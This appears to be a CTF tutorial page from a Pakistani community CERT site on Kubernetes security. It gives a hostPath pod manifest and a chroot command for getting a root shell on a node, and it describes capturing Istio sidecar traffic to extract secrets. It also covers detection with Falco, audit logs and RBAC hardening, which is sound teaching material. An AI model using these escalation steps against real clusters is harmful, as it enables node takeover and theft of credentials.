PISA Pakistan — Community CERT

← 🚩 CTF: Getting Started

47. Kubernetes Security for CTF: Cluster Auditing, RBAC Abuse, and Service Mesh Attacks

⏱ 8 min

Kubernetes Security for CTF: Cluster Auditing, RBAC Abuse, and Service Mesh Attacks

Kubernetes Architecture Quick‑Reference

A CTF Kubernetes cluster typically consists of Control Plane components (API Server, etcd, controller manager) and Worker Nodes running pods. Misconfigurations often expose the API Server on port 6443 or the Kubelet on 10250.

Common Misconfigurations in CTF Clusters

  • Anonymous authentication enabled on the API Server.
  • Overly permissive RBAC roles (e.g., cluster-admin bound to system:anonymous).
  • Default service account tokens mounted into pods.
  • Etcd accessible without TLS.

Attacking RBAC & Service Accounts

  1. Enumerate roles with kubectl get roles,rolebindings -A.
  2. Use kubectl auth can-i --list --as=system:anonymous to spot dangerous permissions.
  3. If you can create a pod on any namespace, exploit it to mount the host’s filesystem:
    spec:
      containers:
      - name: alpine
        image: alpine
        command: ['sh']
        volumeMounts:
        - name: root
          mountPath: /host
      volumes:
      - name: root
        hostPath:
          path: /
    
  4. Run kubectl exec -it <pod> -- chroot /host to obtain a root shell on the node and retrieve the flag.

Service Mesh (Istio) Exploitation

  • Istio sidecar proxies can be abused to capture mTLS traffic if the PeerAuthentication policy is set to PERMISSIVE.
  • Use kubectl exec to access the sidecar and dump traffic with tcpdump -i eth0 -w /tmp/capture.pcap.
  • Extract secrets from traffic and decode base64 to get the flag.

Detection with Falco & Audit Logs

  • Deploy Falco as a DaemonSet to monitor abnormal API calls (e.g., kubectl exec on a privileged pod).
  • Enable Audit Logs on the API Server (--audit-policy-file=/etc/kubernetes/audit-policy.yaml) and forward them to an ELK stack for correlation.

Real‑World Pakistan Cloud Use Cases

Local companies host citizen services on private clouds that mimic K8s clusters. The PTA advises strict RBAC policies and regular security audits. Follow these guidelines when designing CTF challenges that emulate government portals.

Do / Don't

  • Do use kubectl --dry-run=client to test manifests before applying them.
  • Don't leave cluster-admin bound to any user other than the admin account.
← PrevNext →